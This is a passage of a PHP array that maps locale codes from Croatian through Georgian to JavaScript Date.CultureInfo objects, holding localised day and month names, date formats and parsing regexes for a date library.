Hercegovina)",dayNames:["nedjelja","ponedjeljak","utorak","srijeda","četvrtak","petak","subota"],abbreviatedDayNames:["ned","pon","uto","sri","čet","pet","sub"],shortestDayNames:["ned","pon","uto","sri","čet","pet","sub"],firstLetterDayNames:["n","p","u","s","č","p","s"],monthNames:["siječanj","veljača","ožujak","travanj","svibanj","lipanj","srpanj","kolovoz","rujan","listopad","studeni","prosinac"],abbreviatedMonthNames:["sij","vlj","ožu","tra","svi","lip","srp","kol","ruj","lis","stu","pro"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^sij(ečanj)?/i,feb:/^veljača/i,mar:/^ožu(jak)?/i,apr:/^tra(vanj)?/i,may:/^svi(banj)?/i,jun:/^lip(anj)?/i,jul:/^srp(anj)?/i,aug:/^kol(ovoz)?/i,sep:/^ruj(an)?/i,oct:/^lis(topad)?/i,nov:/^stu(deni)?/i,dec:/^pro(sinac)?/i,sun:/^nedjelja/i,mon:/^ponedjeljak/i,tue:/^utorak/i,wed:/^srijeda/i,thu:/^četvrtak/i,fri:/^petak/i,sat:/^subota/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'hr-HR' => 'Date.CultureInfo={name:"hr-HR",englishName:"Croatian (Croatia)",nativeName:"hrvatski (Hrvatska)",dayNames:["nedjelja","ponedjeljak","utorak","srijeda","četvrtak","petak","subota"],abbreviatedDayNames:["ned","pon","uto","sri","čet","pet","sub"],shortestDayNames:["ne","po","ut","sr","če","pe","su"],firstLetterDayNames:["n","p","u","s","č","p","s"],monthNames:["siječanj","veljača","ožujak","travanj","svibanj","lipanj","srpanj","kolovoz","rujan","listopad","studeni","prosinac"],abbreviatedMonthNames:["sij","vlj","ožu","tra","svi","lip","srp","kol","ruj","lis","stu","pro"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^sij(ečanj)?/i,feb:/^veljača/i,mar:/^ožu(jak)?/i,apr:/^tra(vanj)?/i,may:/^svi(banj)?/i,jun:/^lip(anj)?/i,jul:/^srp(anj)?/i,aug:/^kol(ovoz)?/i,sep:/^ruj(an)?/i,oct:/^lis(topad)?/i,nov:/^stu(deni)?/i,dec:/^pro(sinac)?/i,sun:/^ne(d(jelja)?)?/i,mon:/^po(n(edjeljak)?)?/i,tue:/^ut(o(rak)?)?/i,wed:/^sr(i(jeda)?)?/i,thu:/^če(t(vrtak)?)?/i,fri:/^pe(t(ak)?)?/i,sat:/^su(b(ota)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'hu-HU' => 'Date.CultureInfo={name:"hu-HU",englishName:"Hungarian (Hungary)",nativeName:"magyar (Magyarország)",dayNames:["vasárnap","hétfő","kedd","szerda","csütörtök","péntek","szombat"],abbreviatedDayNames:["V","H","K","Sze","Cs","P","Szo"],shortestDayNames:["V","H","K","Sze","Cs","P","Szo"],firstLetterDayNames:["V","H","K","S","C","P","S"],monthNames:["január","február","március","április","május","június","július","augusztus","szeptember","október","november","december"],abbreviatedMonthNames:["jan.","febr.","márc.","ápr.","máj.","jún.","júl.","aug.","szept.","okt.","nov.","dec."],amDesignator:"de.",pmDesignator:"du.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy. MM. dd.",longDate:"yyyy. MMMM d.",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"yyyy. MMMM d. H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM d.",yearMonth:"yyyy. MMMM"},regexPatterns:{jan:/^jan(.(uár)?)?/i,feb:/^febr(.(uár)?)?/i,mar:/^márc(.(ius)?)?/i,apr:/^ápr(.(ilis)?)?/i,may:/^máj(.(us)?)?/i,jun:/^jún(.(ius)?)?/i,jul:/^júl(.(ius)?)?/i,aug:/^aug(.(usztus)?)?/i,sep:/^szept(.(ember)?)?/i,oct:/^okt(.(óber)?)?/i,nov:/^nov(.(ember)?)?/i,dec:/^dec(.(ember)?)?/i,sun:/^vasárnap/i,mon:/^hétfő/i,tue:/^kedd/i,wed:/^szerda/i,thu:/^csütörtök/i,fri:/^péntek/i,sat:/^szombat/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'hy-AM' => 'Date.CultureInfo={name:"hy-AM",englishName:"Armenian (Armenia)",nativeName:"Հայերեն (Հայաստան)",dayNames:["Կիրակի","Երկուշաբթի","Երեքշաբթի","Չորեքշաբթի","Հինգշաբթի","ՈՒրբաթ","Շաբաթ"],abbreviatedDayNames:["Կիր","Երկ","Երք","Չրք","Հնգ","ՈՒր","Շբթ"],shortestDayNames:["Կ","Ե","Ե","Չ","Հ","Ո","Շ"],firstLetterDayNames:["Կ","Ե","Ե","Չ","Հ","Ո","Շ"],monthNames:["Հունվար","Փետրվար","Մարտ","Ապրիլ","Մայիս","Հունիս","Հուլիս","Օգոստոս","Սեպտեմբեր","Հոկտեմբեր","Նոյեմբեր","Դեկտեմբեր"],abbreviatedMonthNames:["ՀՆՎ","ՓՏՎ","ՄՐՏ","ԱՊՐ","ՄՅՍ","ՀՆՍ","ՀԼՍ","ՕԳՍ","ՍԵՊ","ՀՈԿ","ՆՈՅ","ԴԵԿ"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM, yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM, yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^հունվար/i,feb:/^փետրվար/i,mar:/^մարտ/i,apr:/^ապր(իլ)?/i,may:/^մայիս/i,jun:/^հունիս/i,jul:/^հուլիս/i,aug:/^օգոստոս/i,sep:/^սեպ(տեմբեր)?/i,oct:/^հոկ(տեմբեր)?/i,nov:/^նոյ(եմբեր)?/i,dec:/^դեկ(տեմբեր)?/i,sun:/^կ(իր(ակի)?)?/i,mon:/^ե(րկ(ուշաբթի)?)?/i,tue:/^ե(րք(քշաբթի)?)?/i,wed:/^չ(րք(եքշաբթի)?)?/i,thu:/^հ(նգ(գշաբթի)?)?/i,fri:/^ո(ւր(բաթ)?)?/i,sat:/^շ(բթ(աթ)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'id-ID' => 'Date.CultureInfo={name:"id-ID",englishName:"Indonesian (Indonesia)",nativeName:"Bahasa Indonesia (Indonesia)",dayNames:["Minggu","Senin","Selasa","Rabu","Kamis","Jumat","Sabtu"],abbreviatedDayNames:["Minggu","Sen","Sel","Rabu","Kamis","Jumat","Sabtu"],shortestDayNames:["M","S","S","R","K","J","S"],firstLetterDayNames:["M","S","S","R","K","J","S"],monthNames:["Januari","Februari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","Nopember","Desember"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","Mei","Jun","Jul","Agust","Sep","Okt","Nop","Des"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dd MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uari)?/i,feb:/^feb(ruari)?/i,mar:/^mar(et)?/i,apr:/^apr(il)?/i,may:/^mei/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^agust(us)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nop(ember)?/i,dec:/^des(ember)?/i,sun:/^m(1)?/i,mon:/^s(en(in)?)?/i,tue:/^s(el(asa)?)?/i,wed:/^r(1)?/i,thu:/^k(1)?/i,fri:/^j(1)?/i,sat:/^s(1)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'is-IS' => 'Date.CultureInfo={name:"is-IS",englishName:"Icelandic (Iceland)",nativeName:"íslenska (Ísland)",dayNames:["sunnudagur","mánudagur","þriðjudagur","miðvikudagur","fimmtudagur","föstudagur","laugardagur"],abbreviatedDayNames:["sun.","mán.","þri.","mið.","fim.","fös.","lau."],shortestDayNames:["su","má","þr","mi","fi","fö","la"],firstLetterDayNames:["s","m","þ","m","f","f","l"],monthNames:["janúar","febrúar","mars","apríl","maí","júní","júlí","ágúst","september","október","nóvember","desember"],abbreviatedMonthNames:["jan.","feb.","mar.","apr.","maí","jún.","júl.","ágú.","sep.","okt.","nóv.","des."],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(.(úar)?)?/i,feb:/^feb(.(rúar)?)?/i,mar:/^mar(.(s)?)?/i,apr:/^apr(.(íl)?)?/i,may:/^maí/i,jun:/^jún(.(í)?)?/i,jul:/^júl(.(í)?)?/i,aug:/^ágú(.(st)?)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(.(óber)?)?/i,nov:/^nóv(.(ember)?)?/i,dec:/^des(.(ember)?)?/i,sun:/^su(n(.(nudagur)?)?)?/i,mon:/^má(n(.(udagur)?)?)?/i,tue:/^þr(i(.(ðjudagur)?)?)?/i,wed:/^mi(ð(.(vikudagur)?)?)?/i,thu:/^fi(m(.(mtudagur)?)?)?/i,fri:/^fö(s(.(tudagur)?)?)?/i,sat:/^la(u(.(gardagur)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'it-CH' => 'Date.CultureInfo={name:"it-CH",englishName:"Italian (Switzerland)",nativeName:"italiano (Svizzera)",dayNames:["domenica","lunedì","martedì","mercoledì","giovedì","venerdì","sabato"],abbreviatedDayNames:["dom","lun","mar","mer","gio","ven","sab"],shortestDayNames:["do","lu","ma","me","gi","ve","sa"],firstLetterDayNames:["d","l","m","m","g","v","s"],monthNames:["gennaio","febbraio","marzo","aprile","maggio","giugno","luglio","agosto","settembre","ottobre","novembre","dicembre"],abbreviatedMonthNames:["gen","feb","mar","apr","mag","gio","lug","ago","set","ott","nov","dic"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^gen(naio)?/i,feb:/^feb(braio)?/i,mar:/^mar(zo)?/i,apr:/^apr(ile)?/i,may:/^mag(gio)?/i,jun:/^giugno/i,jul:/^lug(lio)?/i,aug:/^ago(sto)?/i,sep:/^set(tembre)?/i,oct:/^ott(obre)?/i,nov:/^nov(embre)?/i,dec:/^dic(embre)?/i,sun:/^do(m(enica)?)?/i,mon:/^lu(n(edì)?)?/i,tue:/^ma(r(tedì)?)?/i,wed:/^me(r(coledì)?)?/i,thu:/^gi(o(vedì)?)?/i,fri:/^ve(n(erdì)?)?/i,sat:/^sa(b(ato)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'it-IT' => 'Date.CultureInfo={name:"it-IT",englishName:"Italian (Italy)",nativeName:"italiano (Italia)",dayNames:["domenica","lunedì","martedì","mercoledì","giovedì","venerdì","sabato"],abbreviatedDayNames:["dom","lun","mar","mer","gio","ven","sab"],shortestDayNames:["do","lu","ma","me","gi","ve","sa"],firstLetterDayNames:["d","l","m","m","g","v","s"],monthNames:["gennaio","febbraio","marzo","aprile","maggio","giugno","luglio","agosto","settembre","ottobre","novembre","dicembre"],abbreviatedMonthNames:["gen","feb","mar","apr","mag","giu","lug","ago","set","ott","nov","dic"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd d MMMM yyyy",shortTime:"H.mm",longTime:"H.mm.ss",fullDateTime:"dddd d MMMM yyyy H.mm.ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^gen(naio)?/i,feb:/^feb(braio)?/i,mar:/^mar(zo)?/i,apr:/^apr(ile)?/i,may:/^mag(gio)?/i,jun:/^giu(gno)?/i,jul:/^lug(lio)?/i,aug:/^ago(sto)?/i,sep:/^set(tembre)?/i,oct:/^ott(obre)?/i,nov:/^nov(embre)?/i,dec:/^dic(embre)?/i,sun:/^do(m(enica)?)?/i,mon:/^lu(n(edì)?)?/i,tue:/^ma(r(tedì)?)?/i,wed:/^me(r(coledì)?)?/i,thu:/^gi(o(vedì)?)?/i,fri:/^ve(n(erdì)?)?/i,sat:/^sa(b(ato)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ja-JP' => 'Date.CultureInfo={name:"ja-JP",englishName:"Japanese (Japan)",nativeName:"日本語 (日本)",dayNames:["日曜日","月曜日","火曜日","水曜日","木曜日","金曜日","土曜日"],abbreviatedDayNames:["日","月","火","水","木","金","土"],shortestDayNames:["日","月","火","水","木","金","土"],firstLetterDayNames:["日","月","火","水","木","金","土"],monthNames:["1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月"],abbreviatedMonthNames:["1","2","3","4","5","6","7","8","9","10","11","12"],amDesignator:"午前",pmDesignator:"午後",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"yyyy\'年\'M\'月\'d\'日\'",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"yyyy\'年\'M\'月\'d\'日\' H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"M\'月\'d\'日\'",yearMonth:"yyyy\'年\'M\'月\'"},regexPatterns:{jan:/^1(月)?/i,feb:/^2(月)?/i,mar:/^3(月)?/i,apr:/^4(月)?/i,may:/^5(月)?/i,jun:/^6(月)?/i,jul:/^7(月)?/i,aug:/^8(月)?/i,sep:/^9(月)?/i,oct:/^10(月)?/i,nov:/^11(月)?/i,dec:/^12(月)?/i,sun:/^日曜日/i,mon:/^月曜日/i,tue:/^火曜日/i,wed:/^水曜日/i,thu:/^木曜日/i,fri:/^金曜日/i,sat:/^土曜日/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ka-GE' => 'Date.CultureInfo={name:"ka-GE",englishName:"Georgian (Georgia)",nativeName:"ქართული (საქართველო)",dayNames:["კვირა","ორშაბათი","სამშაბათი","ოთხშაბათი","ხუთშაბათი","პარასკევი","შაბათი"],abbreviatedDayNames:["კვირა","ორშაბათი","სამშაბათი","ოთხშაბათი","ხუთშაბათი","პარასკევი","შაბათი"],shortestDayNames:["კ","ო","ს","ო","ხ","პ","შ"],firstLetterDayNames:["კ","ო","ს","ო","ხ","პ","შ"],monthNames:["იანვარი","თებერვალი","მარტი","აპრილი","მაისი","ივნისი","ივლისი","აგვისტო","სექტემბერი","ოქტომბერი","ნოემბერი","დეკემბერი"],abbreviatedMonthNames:["იან","თებ","მარ","აპრ","მაის","ივნ","ივლ","აგვ","სექ","ოქტ","ნოემ","დეკ"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"yyyy \'წლის\' dd MM, dddd",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"yyyy \'წლის\' dd MM, dddd H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^იან(ვარი)?/i,feb:/^თებ(ერვალი)?/i,mar:/^მარ(ტი)?/i,apr:/^აპრ(ილი)?/i,may:/^მაის(ი)?/i,jun:/^ივნ(ისი)?/i,jul:/^ივლ(ისი)?/i,aug:/^აგვ(ისტო)?/i,sep:/^სექ(ტემბერი)?/i,oct:/^ოქტ(ომბერი)?/i,nov:/^ნოემ(ბერი)?/i,dec:/^დეკ(ემბერი)?/i,sun:/^კ(1)?/i,mon:/^ო(1)?/i,tue:/^ს(1)?/i,wed:/^ო(1)?/i,thu:/^ხ(1)?/i,fri:/^პ(1)?/i,sat:/^შ(1)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'kk-KZ' => 'Date.CultureInfo={name:"kk-KZ",englishName:"Kazakh (Kazakhstan)",nativeName:"Қазақ 